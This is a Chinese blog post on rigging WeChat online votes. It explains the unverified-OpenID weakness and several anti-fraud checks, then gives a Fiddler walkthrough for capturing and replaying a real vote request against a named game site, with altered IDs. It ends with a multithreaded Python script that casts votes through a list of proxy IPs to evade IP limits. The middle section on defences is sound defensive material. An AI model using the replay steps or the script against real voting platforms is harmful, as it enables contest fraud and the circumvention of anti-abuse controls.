快到年底了,家裡的微信群又熱鬧了起來,家族裡有幾個親戚正在參加某評比活動的微信投票活動,所以七大姑八大姨天天在群里讓我們幫着投票,家裡人知道我是搞IT技術的就想着讓我搞個刷票軟件,自動刷票。於是我就花了些經歷研究了一下這個灰色產業!
今天就把我最近研究的心得體會給大家分享一下,讓大家了解一下微信刷票軟件的原理與實現!
一、 微信的刷票方式
微信刷票主要有兩種方式,軟件技術刷票和人工水軍刷票。
人工刷票:人工刷票,就是使用投票水軍來刷票。商家熱衷於搞微信投票活動,一些空閑時間多的人士發現了這其中的商家,以幫助參賽選手投票來獲得傭金。這些人多數是為兼職投票手投票員,外界一般稱我們為投票水軍。人工水軍刷票的原理就非常簡單,就是組建一個微信投票任務群,把投票任務發到群裏面就完成刷票了,就是這麼簡單。一個群不夠用,就多組建幾個群就可以了。
目前網上好多刷票團隊,自稱都是人工刷票,其實多數都是假的,為什麼呢?因為你看他的收費標準就知道了投100票價格可能在10元左右,所以一票可能都不到一毛錢,這個還要給水軍們分所以利潤並不高,除非業務量特別大。所以幾乎都是用刷票軟件刷票。
如果你想判斷你的是人工刷票,你可以讓他把投票的截圖都發給你,我想他是不會給你的,呵呵,如果真的給你,你的投票價格最少一票要3毛錢以上!
軟件技術刷票:刷票軟件原理多數 是通過抓包工具分析提交投票時所產的數據,然後使用腳本程序批量提交數據就達到了刷票的目的。其中最大的難題就是如何突破限制,例如ip限制,驗證碼限制,微信登陸授權限制等。這些刷票工具網上也有很多,但是絕大多數效果都不怎麼好,會被平台限制住。

二、 微信投票活動的漏洞和刷票技術手段
常見漏洞如下:
1、在微信投票的活動中,會有兩種發起投票的情況,一種是發起投票的服務器是獨立的,只是借用了微信的投票平台,在微信平台進行了投票之後,會有一個投票轉發的操作,將活動中的投票情況轉發給發起投票的服務器。另一種是直接使用微信的服務器來發起投票的操作,這種情況則不需要進行投票轉發的操作,投票情況直接在微信服務器上進行控制。
2、在微信投票的活動中需要的是微信賬號來進行的投票,而在微信平台中有一個關於微信賬號的規則,那就是每一個加密後的微信賬號都會形成一個OpenID,每個用戶的OpenID在微信平台上來說都是唯一的。那麼當用戶進行投票後,如果是需要將投票轉發給獨立服務器的,微信平台則會使用POST參數將包含投票用戶的OpenID的信息轉發給投票服務器,投票服務器在接收到微信平台發送過來的投票POST請求之後,就會在自己的服務器通過對比OpenID來確認同一微信賬號的投票次數。如果不需要轉發給投票服務器的,則直接在微信服務器上確認OpenID的投票情況。
3、 如果是獨立的投票服務器在接收到POST請求時,只能對這個發送過來的OpenID進行投票次數的判斷,但是因為無法使用微信服務器的數據,就無法對這個OpenID進行真實性的驗證,這是微信投票活動的一個很大的漏洞。即便是直接使用微信服務票來進行的投票活動,雖然可以直接驗證OpenID的真實性,但是只需要用技術手段綁定一些OpenID正確的微信賬號來進行投票操作便可以通過這項驗證了。有了這個漏洞就非常便於來使用一些技術手段實現微信刷票的操作。
常見的刷票技術手段:
1、針對微信投票活動無法校驗OpenID真實性的漏洞,可以先使用一個微信賬號進行一次投票操作,利用這次操作來獲取相關的網絡數據。這個數據中會包含POST請求的參數以及內容。然後通過腳本,比如Fiddler或者Python都可以,來自己構建一個POST的請求,該請求中參數和內容保證與獲取到的真實數據一致,然後按照真實OpenID的格式隨機生成OpenID,需要刷多少票數就進行多少次POST請求,便可以實現簡單的刷票操作了。
2、對於有IP限制的微信投票活動,可以使用CURL來偽造IP地址,這樣就可以製造多個IP來刷票了。
二、 常見的防止刷票方法
1、 只有關注了公眾號才能投票
在服務調用獲取用戶基礎信息
API接口會返回以下數據:

當用戶投票且未關注時,我們可根據subscribe是0還是1判斷有沒有關注,若沒有關注則轉至公眾號的二維碼頁面並提示用戶先長按二維碼關注公眾號。此方法的漏洞就是每次投票都要與微信服務器進行交互。
2、 判斷refer和User-Agent
以下為一個request header的部分參數示例:

Referer為上一個訪問的頁面,所以refer必須要為投票的頁面地址。User-Agent裏面必須有關鍵詞MicroMessenger
3、限制客戶端投票次數
用ip當成同一個ip投票次數受限制,由於很多時候使用nginx或apache之類的代理服務器,因此直接使用HttpServletRequest的getRemoteAddr()很多時候取得的是代理服務器的ip,而我們要取得的是真實的ip址。下面是一個獲取真實ip的示例代碼

4、當投票量大於閱讀量時就是刷票行為
存儲頁面閱讀量,投票完成後,計算票數若投票量大於閱讀量時就是刷票行為。
5、在提交表單數據的地方使用校驗碼

服務端返回一個校驗碼,在dom初始化的時候頁面使用js加密這個校驗碼,commit的時候提交這個加密的校驗碼,服務端再判斷這個加密碼的校驗碼是否正確。校驗碼設置使用N次後就作廢。
以下為偽代碼
服務端處理:

四、 微信刷票軟件常見的實現方法
1、利用fiddler抓包 實現微信投票(原理是利用OpenID真實性的漏洞)
第一步:首先在電腦上下載微信軟件
一般微信投票都需要關注公眾號才能投票,所以必須用電腦微信打開鏈接進入投票界面 下載好之後,打開微信登錄微信帳號。然後把投票網址複製粘貼發送到文件傳輸助手,這時先不要打開。

第二步:下載並安裝且打開抓包軟件fiddler

第三步:現在回到微信打開剛才要投票的網址,這時開啟抓包

第四步:通過我們剛才在微信里投票的過程,下邊我們來看下fiddler里的情況

出現了這些數據,需要對這些數據進行分析。找到哪個才是我們投票的數據
最後經過分析,找到了這些數據
Host: t: ssl.hi.163.com
Co
Content-Type: application/x-www-form-urlencoded
Origin: n: https://qnm.leihuo.net
Ac
Accept-Encoding: gzip, deflate
Connection: keep-alive
Accept: application/json
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Mobile/14D27 MicroMessenger/6.7.1 NetType/WIFI Language/zh_CN
Referer: r: https://qnm.leihuo.net/m/2018/hahaha/MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ==/?nie=0.674688067616421&eggid=MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ==&uinfo=0&code=023Eqy001YcsR02oSGYZ0lRK001Eqy0Y
Co
Content-Length: 90
Accept-Language: zh-cn
wxid=ox1Mat8wMEsQ9dIoILUpNiESReNo&eggid=MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ%3D%3D&is_pass=1
第五步:現在我們需要對這些數據重組,進行一次發包操作。重新再刷一次票。
我們還是回到fiddler 這次我們需要打開這個

第六步:把我們剛才分析到的數據分組填入,填完之後是這樣的。然後我們點擊Execute按鈕。

第七步:我們點擊提交以後,看下軟件返回什麼數據

第八步:這個使我們所需要的具體信息。但是是亂碼,要怎麼應對呢,其實只要看 code:-5就可以了。這樣表示您已經孵化過或者投過票了。現在就是我們所需要操作的關鍵點。
第九步:回到我們剛才我們點擊提交的地方。把下列數據隨便改一下。但是位數不要減少也不要增加,再次提交 。

第十步:最後我們看下返回信息

哈哈,刷票成功了!!!
2、利用Python語言編寫腳本實現微信刷票(突破ip限制的投票方法)
針對那些微信投票只限制ip 來源的方式,我們可以用如下方式進行刷票:
第一步:在網上搜索大量的代理ip ,建立一個代理ip地址表

第二步:用Python編寫一個自動執行腳本
代碼如下:
1. #coding=utf-8
2. import urllib2
3. import urllib
4. import re
5. import threading
6. import sys
7. from time import ctime
8. import time
9. rlock = threading.RLock()
10. def vote(proxyIP,i,urls):
11. try:
12. #print "voting...%d..." % i
13. #使用代理IP
14. proxy_support = urllib2.ProxyHandler(proxyIP)
15. opener = urllib2.build_opener(proxy_support, urllib2.HTTPHandler)
16. #定義Opener
17.
18. urllib2.install_opener(opener)
19. #把opener綁定到全局
20.
21. sendt = '投票'.decode('utf-8').encode('gb2312')
22.
23. #設置刷票地址
24. #post數據bn
25. values = {}
26. req = urllib2.urlopen(urls)
27. #直接打開這個URL
28. html = req.read()
29. #讀取返回數據
30. if html.find('true'.decode('utf-8').encode('gb2312')):
31. print "投票 [%d] 成功" % i
32. return 1
33. else:
34. print "投票 [%d] 失敗" % i
35. return 0;
36. except Exception:
37. return False
38.
39. if __name__ == "__main__":
40. args = sys.argv
41. if(len(args) == 3):
42. ipFile = open(args[1]);
43. ipList = ipFile.readlines()
44. ipFile.close()
45. length = range(len(ipList))
46. threads = []
47. for i in length:
48. ipLine = ipList[i]
49.
50. ip=ipLine.strip()
51. proxy_ip = {'http': ip}
52. t = threading.Thread(target=vote,args=(proxy_ip,i,args[2]))
53. print "get ",args[2],ip
54. threads.append(t)
55. for i in length:
56. threads[i].start();
57. if i%100:
58. time.sleep(5)
59. #每100個線程等待 5秒
60. for i in length:
61. threads[i].join()
62.
63. else:
64. print """刷票工具
65. python brush.py IP文件 Get地址:
66.
67. """
原創文章,作者:投稿專員,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/207699.html
微信掃一掃
支付寶掃一掃